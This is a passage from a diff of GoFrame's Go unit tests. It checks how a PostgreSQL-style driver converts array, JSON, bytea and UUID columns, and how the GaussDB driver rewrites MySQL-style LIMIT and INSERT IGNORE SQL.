textArr := one["col_text_arr"].Strings()
|
||||
t.Assert(len(textArr), 3)
|
||||
t.Assert(textArr[0], "x")
|
||||
t.Assert(textArr[1], "y")
|
||||
t.Assert(textArr[2], "z1")
|
||||
|
||||
// Test boolean array type conversions
|
||||
// col_bool_arr is '{true, false, %t}' where %t = i%2==0, for i=1 it's false
|
||||
boolArr := one["col_bool_arr"].Bools()
|
||||
t.Assert(len(boolArr), 3)
|
||||
t.Assert(boolArr[0], true) // literal true
|
||||
t.Assert(boolArr[1], false) // literal false
|
||||
t.Assert(boolArr[2], false) // i=1, 1%2==0 is false
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Array_Insert tests inserting array data
|
||||
func Test_Field_Array_Insert(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with array values
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_int2_arr": []int{1, 2, 3},
|
||||
"col_int4_arr": []int{10, 20, 30},
|
||||
"col_varchar_arr": []string{"a", "b", "c"},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
t.Assert(one["col_int2"].Int(), 1)
|
||||
t.Assert(one["col_varchar"].String(), "test")
|
||||
t.Assert(one["col_bool"].Bool(), true)
|
||||
|
||||
int2Arr := one["col_int2_arr"].Ints()
|
||||
t.Assert(len(int2Arr), 3)
|
||||
t.Assert(int2Arr[0], 1)
|
||||
t.Assert(int2Arr[1], 2)
|
||||
t.Assert(int2Arr[2], 3)
|
||||
|
||||
varcharArr := one["col_varchar_arr"].Strings()
|
||||
t.Assert(len(varcharArr), 3)
|
||||
t.Assert(varcharArr[0], "a")
|
||||
t.Assert(varcharArr[1], "b")
|
||||
t.Assert(varcharArr[2], "c")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Array_Update tests updating array data
|
||||
func Test_Field_Array_Update(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Update array values
|
||||
_, err := db.Model(table).Where("id", 1).Data(g.Map{
|
||||
"col_int2_arr": []int{100, 200, 300},
|
||||
"col_varchar_arr": []string{"x", "y", "z"},
|
||||
}).Update()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
|
||||
int2Arr := one["col_int2_arr"].Ints()
|
||||
t.Assert(len(int2Arr), 3)
|
||||
t.Assert(int2Arr[0], 100)
|
||||
t.Assert(int2Arr[1], 200)
|
||||
t.Assert(int2Arr[2], 300)
|
||||
|
||||
varcharArr := one["col_varchar_arr"].Strings()
|
||||
t.Assert(len(varcharArr), 3)
|
||||
t.Assert(varcharArr[0], "x")
|
||||
t.Assert(varcharArr[1], "y")
|
||||
t.Assert(varcharArr[2], "z")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_JSON_Type tests JSON/JSONB type handling
|
||||
func Test_Field_JSON_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with JSON values
|
||||
testData := g.Map{
|
||||
"name": "test",
|
||||
"value": 123,
|
||||
"items": []string{"a", "b", "c"},
|
||||
}
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_json": testData,
|
||||
"col_jsonb": testData,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test JSON field
|
||||
jsonMap := one["col_json"].Map()
|
||||
t.Assert(jsonMap["name"], "test")
|
||||
t.Assert(jsonMap["value"], 123)
|
||||
|
||||
// Test JSONB field
|
||||
jsonbMap := one["col_jsonb"].Map()
|
||||
t.Assert(jsonbMap["name"], "test")
|
||||
t.Assert(jsonbMap["value"], 123)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Scan_To_Struct tests scanning results to struct
|
||||
func Test_Field_Scan_To_Struct(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
type TestRecord struct {
|
||||
Id int64 `json:"id"`
|
||||
ColInt2 int16 `json:"col_int2"`
|
||||
ColInt4 int32 `json:"col_int4"`
|
||||
ColInt8 int64 `json:"col_int8"`
|
||||
ColVarchar string `json:"col_varchar"`
|
||||
ColBool bool `json:"col_bool"`
|
||||
ColInt2Arr []int `json:"col_int2_arr"`
|
||||
ColInt4Arr []int `json:"col_int4_arr"`
|
||||
ColInt8Arr []int64 `json:"col_int8_arr"`
|
||||
ColTextArr []string `json:"col_text_arr"`
|
||||
}
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
var record TestRecord
|
||||
err := db.Model(table).Where("id", 1).Scan(&record)
|
||||
t.AssertNil(err)
|
||||
|
||||
t.Assert(record.Id, int64(1))
|
||||
t.Assert(record.ColInt2, int16(1))
|
||||
t.Assert(record.ColInt4, int32(10))
|
||||
t.Assert(record.ColInt8, int64(100))
|
||||
t.AssertNE(record.ColVarchar, "")
|
||||
t.Assert(record.ColBool, false)
|
||||
|
||||
// Test array fields scanned to struct
|
||||
t.Assert(len(record.ColInt2Arr), 3)
|
||||
t.Assert(record.ColInt2Arr[0], 1)
|
||||
t.Assert(record.ColInt2Arr[1], 2)
|
||||
t.Assert(record.ColInt2Arr[2], 1)
|
||||
|
||||
t.Assert(len(record.ColTextArr), 3)
|
||||
t.Assert(record.ColTextArr[0], "x")
|
||||
t.Assert(record.ColTextArr[1], "y")
|
||||
t.Assert(record.ColTextArr[2], "z1")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Scan_To_Struct_Slice tests scanning multiple results to struct slice
|
||||
func Test_Field_Scan_To_Struct_Slice(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
type TestRecord struct {
|
||||
Id int64 `json:"id"`
|
||||
ColInt2 int16 `json:"col_int2"`
|
||||
ColVarchar string `json:"col_varchar"`
|
||||
ColInt2Arr []int `json:"col_int2_arr"`
|
||||
ColTextArr []string `json:"col_text_arr"`
|
||||
}
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
var records []TestRecord
|
||||
err := db.Model(table).OrderAsc("id").Limit(5).Scan(&records)
|
||||
t.AssertNil(err)
|
||||
|
||||
t.Assert(len(records), 5)
|
||||
|
||||
// Verify first record
|
||||
t.Assert(records[0].Id, int64(1))
|
||||
t.Assert(records[0].ColInt2, int16(1))
|
||||
t.Assert(len(records[0].ColInt2Arr), 3)
|
||||
|
||||
// Verify last record
|
||||
t.Assert(records[4].Id, int64(5))
|
||||
t.Assert(records[4].ColInt2, int16(5))
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Empty_Array tests handling empty arrays
|
||||
func Test_Field_Empty_Array(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with empty array values (using default)
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify empty arrays
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Default empty arrays
|
||||
int2Arr := one["col_int2_arr"].Ints()
|
||||
t.Assert(len(int2Arr), 0)
|
||||
|
||||
varcharArr := one["col_varchar_arr"].Strings()
|
||||
t.Assert(len(varcharArr), 0)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Null_Values tests handling NULL values
|
||||
func Test_Field_Null_Values(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert minimal required fields, leaving nullable fields as NULL
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify NULL handling
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Nullable fields should return appropriate zero values
|
||||
t.Assert(one["col_text"].IsNil() || one["col_text"].IsEmpty(), true)
|
||||
t.Assert(one["col_int8_arr"].IsNil() || one["col_int8_arr"].IsEmpty(), true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Float_Array_Type_Conversion tests float array type conversion (_float4, _float8)
|
||||
func Test_Field_Float_Array_Type_Conversion(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query a single record
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
|
||||
// Test float4 array type conversions
|
||||
float4Arr := one["col_float4_arr"].Float32s()
|
||||
t.Assert(len(float4Arr), 3)
|
||||
t.Assert(float4Arr[0] > 0, true)
|
||||
t.Assert(float4Arr[1] > 0, true)
|
||||
|
||||
// Test float8 array type conversions
|
||||
float8Arr := one["col_float8_arr"].Float64s()
|
||||
t.Assert(len(float8Arr), 3)
|
||||
t.Assert(float8Arr[0] > 0, true)
|
||||
t.Assert(float8Arr[1] > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Numeric_Array_Type_Conversion tests numeric/decimal array type conversion
|
||||
func Test_Field_Numeric_Array_Type_Conversion(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query a single record
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
|
||||
// Test numeric array type conversions
|
||||
numericArr := one["col_numeric_arr"].Float64s()
|
||||
t.Assert(len(numericArr), 3)
|
||||
t.Assert(numericArr[0] > 0, true)
|
||||
t.Assert(numericArr[1] > 0, true)
|
||||
|
||||
// Test decimal array type conversions
|
||||
decimalArr := one["col_decimal_arr"].Float64s()
|
||||
if !one["col_decimal_arr"].IsNil() {
|
||||
t.Assert(len(decimalArr) > 0, true)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Bool_Array_Type_Conversion tests bool array type conversion more thoroughly
|
||||
func Test_Field_Bool_Array_Type_Conversion(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with specific bool array values
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_bool_arr": []bool{true, false, true},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test bool array
|
||||
boolArr := one["col_bool_arr"].Bools()
|
||||
t.Assert(len(boolArr), 3)
|
||||
t.Assert(boolArr[0], true)
|
||||
t.Assert(boolArr[1], false)
|
||||
t.Assert(boolArr[2], true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Char_Array_Type tests char array type (_char)
|
||||
func Test_Field_Char_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with char array values
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_char_arr": []string{"a", "b", "c"},
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test char array
|
||||
charArr := one["col_char_arr"].Strings()
|
||||
t.Assert(len(charArr), 3)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Bytea_Type tests bytea (binary) type conversion
|
||||
func Test_Field_Bytea_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with binary data
|
||||
binaryData := []byte{0x48, 0x65, 0x6c, 0x6c, 0x6f} // "Hello" in hex
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_bytea": binaryData,
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test bytea field
|
||||
result := one["col_bytea"].Bytes()
|
||||
t.Assert(len(result), 5)
|
||||
t.Assert(result[0], 0x48) // 'H'
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Bytea_Array_Type tests bytea array type (_bytea)
|
||||
func Test_Field_Bytea_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with bytea array values using raw SQL
|
||||
// PostgreSQL bytea array literal format: ARRAY[E'\\x010203', E'\\x040506']::bytea[]
|
||||
_, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
INSERT INTO %s (col_int2, col_int4, col_numeric, col_varchar, col_bool, col_varchar_arr, col_bytea_arr)
|
||||
VALUES (1, 10, 99.99, 'test', true, '{}', ARRAY[E'\\x010203', E'\\x040506']::bytea[])
|
||||
`, table))
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify bytea array
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test bytea array field - should be converted to [][]byte
|
||||
byteaArrVal := one["col_bytea_arr"]
|
||||
t.Assert(byteaArrVal.IsNil(), false)
|
||||
|
||||
// Verify the array contains the expected data
|
||||
byteaArr := byteaArrVal.Interfaces()
|
||||
t.Assert(len(byteaArr), 2)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Date_Array_Type tests date array type (_date)
|
||||
func Test_Field_Date_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Note: PostgreSQL _date array is not yet mapped in the driver
|
||||
// This test documents the limitation but can be extended when support is added
|
||||
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify NULL date array is handled gracefully
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
// date array should be nil or empty
|
||||
t.Assert(one["col_date_arr"].IsNil() || one["col_date_arr"].IsEmpty(), true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Timestamp_Array_Type tests timestamp array type (_timestamp)
|
||||
func Test_Field_Timestamp_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Note: PostgreSQL _timestamp array is not yet mapped in the driver
|
||||
// This test documents the limitation but can be extended when support is added
|
||||
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify NULL timestamp array is handled gracefully
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
// timestamp array should be nil or empty
|
||||
t.Assert(one["col_timestamp_arr"].IsNil() || one["col_timestamp_arr"].IsEmpty(), true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_JSONB_Array_Type tests JSONB array type (_jsonb)
|
||||
func Test_Field_JSONB_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Note: PostgreSQL _jsonb array is not yet mapped in the driver
|
||||
// This test documents the limitation but can be extended when support is added
|
||||
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
"col_int2": 1,
|
||||
"col_int4": 10,
|
||||
"col_numeric": 99.99,
|
||||
"col_varchar": "test",
|
||||
"col_bool": true,
|
||||
"col_varchar_arr": []string{},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify NULL jsonb array is handled gracefully
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
// jsonb array should be nil or empty
|
||||
t.Assert(one["col_jsonb_arr"].IsNil() || one["col_jsonb_arr"].IsEmpty(), true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_UUID_Array_Type tests UUID array type (_uuid)
|
||||
func Test_Field_UUID_Array_Type(t *testing.T) {
|
||||
table := createAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with UUID array values using raw SQL
|
||||
// PostgreSQL uuid array literal format: ARRAY['uuid1', 'uuid2']::uuid[]
|
||||
uuid1 := "550e8400-e29b-41d4-a716-446655440000"
|
||||
uuid2 := "6ba7b810-9dad-11d1-80b4-00c04fd430c8"
|
||||
uuid3 := "6ba7b811-9dad-11d1-80b4-00c04fd430c8"
|
||||
_, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
INSERT INTO %s (col_int2, col_int4, col_numeric, col_varchar, col_bool, col_varchar_arr, col_uuid_arr)
|
||||
VALUES (1, 10, 99.99, 'test', true, '{}', ARRAY['%s', '%s', '%s']::uuid[])
|
||||
`, table, uuid1, uuid2, uuid3))
|
||||
t.AssertNil(err)
|
||||
|
||||
// Query and verify UUID array
|
||||
one, err := db.Model(table).OrderDesc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test UUID array field - should be converted to []uuid.UUID
|
||||
uuidArrVal := one["col_uuid_arr"]
|
||||
t.Assert(uuidArrVal.IsNil(), false)
|
||||
|
||||
// Verify the array contains the expected data as []uuid.UUID
|
||||
uuidArr := uuidArrVal.Interfaces()
|
||||
t.Assert(len(uuidArr), 3)
|
||||
|
||||
// Verify each element is uuid.UUID type
|
||||
u1, ok := uuidArr[0].(uuid.UUID)
|
||||
t.Assert(ok, true)
|
||||
t.Assert(u1.String(), uuid1)
|
||||
|
||||
u2, ok := uuidArr[1].(uuid.UUID)
|
||||
t.Assert(ok, true)
|
||||
t.Assert(u2.String(), uuid2)
|
||||
|
||||
u3, ok := uuidArr[2].(uuid.UUID)
|
||||
t.Assert(ok, true)
|
||||
t.Assert(u3.String(), uuid3)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_UUID_Type tests UUID type
|
||||
func Test_Field_UUID_Type(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query and verify UUID field
|
||||
one, err := db.Model(table).OrderAsc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test UUID field - should be converted to uuid.UUID
|
||||
uuidVal := one["col_uuid"]
|
||||
t.Assert(uuidVal.IsNil(), false)
|
||||
|
||||
// Verify the value is uuid.UUID type
|
||||
uuidObj, ok := uuidVal.Val().(uuid.UUID)
|
||||
t.Assert(ok, true)
|
||||
|
||||
// Verify the UUID format
|
||||
uuidStr := uuidObj.String()
|
||||
t.Assert(len(uuidStr) > 0, true)
|
||||
// UUID should contain the pattern from insert: 550e8400-e29b-41d4-a716-44665544000X
|
||||
t.Assert(uuidStr, "550e8400-e29b-41d4-a716-446655440001")
|
||||
|
||||
// Also verify we can still get string representation via .String()
|
||||
t.Assert(uuidVal.String(), "550e8400-e29b-41d4-a716-446655440001")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Bytea_Array_Type_Scan tests bytea array type and scanning
|
||||
func Test_Field_Bytea_Array_Type_Scan(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query and verify bytea array field
|
||||
one, err := db.Model(table).OrderAsc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test bytea array field
|
||||
byteaArrVal := one["col_bytea_arr"]
|
||||
// bytea array should not be nil since we inserted data
|
||||
t.Assert(byteaArrVal.IsNil(), false)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Date_Array_Type_Scan tests date array type and scanning
|
||||
func Test_Field_Date_Array_Type_Scan(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query and verify date array field
|
||||
one, err := db.Model(table).OrderAsc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test date array field
|
||||
dateArrVal := one["col_date_arr"]
|
||||
t.Assert(dateArrVal.IsNil(), false)
|
||||
|
||||
// Verify the array contains the expected data
|
||||
dateArr := dateArrVal.Strings()
|
||||
t.Assert(len(dateArr) > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_Timestamp_Array_Type_Scan tests timestamp array type and scanning
|
||||
func Test_Field_Timestamp_Array_Type_Scan(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query and verify timestamp array field
|
||||
one, err := db.Model(table).OrderAsc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test timestamp array field
|
||||
timestampArrVal := one["col_timestamp_arr"]
|
||||
t.Assert(timestampArrVal.IsNil(), false)
|
||||
|
||||
// Verify the array contains the expected data
|
||||
timestampArr := timestampArrVal.Strings()
|
||||
t.Assert(len(timestampArr) > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_JSONB_Array_Type_Scan tests JSONB array type and scanning
|
||||
func Test_Field_JSONB_Array_Type_Scan(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Query and verify JSONB array field
|
||||
one, err := db.Model(table).OrderAsc("id").One()
|
||||
t.AssertNil(err)
|
||||
|
||||
// Test JSONB array field
|
||||
jsonbArrVal := one["col_jsonb_arr"]
|
||||
t.Assert(jsonbArrVal.IsNil(), false)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Field_UUID_Query tests querying by UUID field
|
||||
func Test_Field_UUID_Query(t *testing.T) {
|
||||
table := createInitAllTypesTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test 1: Query by UUID string
|
||||
uuidStr := "550e8400-e29b-41d4-a716-446655440001"
|
||||
one, err := db.Model(table).Where("col_uuid", uuidStr).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
t.Assert(one["id"].Int(), 1)
|
||||
|
||||
// Verify the returned UUID is correct
|
||||
uuidObj, ok := one["col_uuid"].Val().(uuid.UUID)
|
||||
t.Assert(ok, true)
|
||||
t.Assert(uuidObj.String(), uuidStr)
|
||||
|
||||
// Test 2: Query by uuid.UUID type directly
|
||||
uuidVal, err := uuid.Parse("550e8400-e29b-41d4-a716-446655440002")
|
||||
t.AssertNil(err)
|
||||
one, err = db.Model(table).Where("col_uuid", uuidVal).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
t.Assert(one["id"].Int(), 2)
|
||||
|
||||
// Test 3: Query by UUID string using g.Map
|
||||
one, err = db.Model(table).Where(g.Map{
|
||||
"col_uuid": "550e8400-e29b-41d4-a716-446655440003",
|
||||
}).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
t.Assert(one["id"].Int(), 3)
|
||||
|
||||
// Test 4: Query by uuid.UUID type using g.Map
|
||||
uuidVal, err = uuid.Parse("550e8400-e29b-41d4-a716-446655440004")
|
||||
t.AssertNil(err)
|
||||
one, err = db.Model(table).Where(g.Map{
|
||||
"col_uuid": uuidVal,
|
||||
}).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), false)
|
||||
t.Assert(one["id"].Int(), 4)
|
||||
|
||||
// Test 5: Query non-existent UUID
|
||||
one, err = db.Model(table).Where("col_uuid", "00000000-0000-0000-0000-000000000000").One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one.IsEmpty(), true)
|
||||
|
||||
// Test 6: Query multiple records by UUID IN clause with strings
|
||||
all, err := db.Model(table).WhereIn("col_uuid", g.Slice{
|
||||
"550e8400-e29b-41d4-a716-446655440001",
|
||||
"550e8400-e29b-41d4-a716-446655440002",
|
||||
}).OrderAsc("id").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(all), 2)
|
||||
t.Assert(all[0]["id"].Int(), 1)
|
||||
t.Assert(all[1]["id"].Int(), 2)
|
||||
|
||||
// Test 7: Query multiple records by UUID IN clause with uuid.UUID types
|
||||
uuid1, _ := uuid.Parse("550e8400-e29b-41d4-a716-446655440003")
|
||||
uuid2, _ := uuid.Parse("550e8400-e29b-41d4-a716-446655440004")
|
||||
all, err = db.Model(table).WhereIn("col_uuid", g.Slice{uuid1, uuid2}).OrderAsc("id").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(all), 2)
|
||||
t.Assert(all[0]["id"].Int(), 3)
|
||||
t.Assert(all[1]["id"].Int(), 4)
|
||||
})
|
||||
}
|
||||
277
contrib/drivers/gaussdb/gaussdb_z_unit_filter_test.go
Normal file
277
contrib/drivers/gaussdb/gaussdb_z_unit_filter_test.go
Normal file
@ -0,0 +1,277 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gctx"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/gaussdb/v2"
|
||||
)
|
||||
|
||||
// Test_DoFilter_LimitOffset tests LIMIT OFFSET conversion
|
||||
func Test_DoFilter_LimitOffset(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test MySQL style LIMIT x,y to PostgreSQL style LIMIT y OFFSET x
|
||||
sql := "SELECT * FROM users LIMIT 10, 20"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users LIMIT 20 OFFSET 10")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test with different numbers
|
||||
sql := "SELECT * FROM users LIMIT 0, 100"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users LIMIT 100 OFFSET 0")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test no conversion needed
|
||||
sql := "SELECT * FROM users LIMIT 50"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users LIMIT 50")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_DoFilter_InsertIgnore tests INSERT IGNORE conversion
|
||||
func Test_DoFilter_InsertIgnore(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test INSERT IGNORE conversion
|
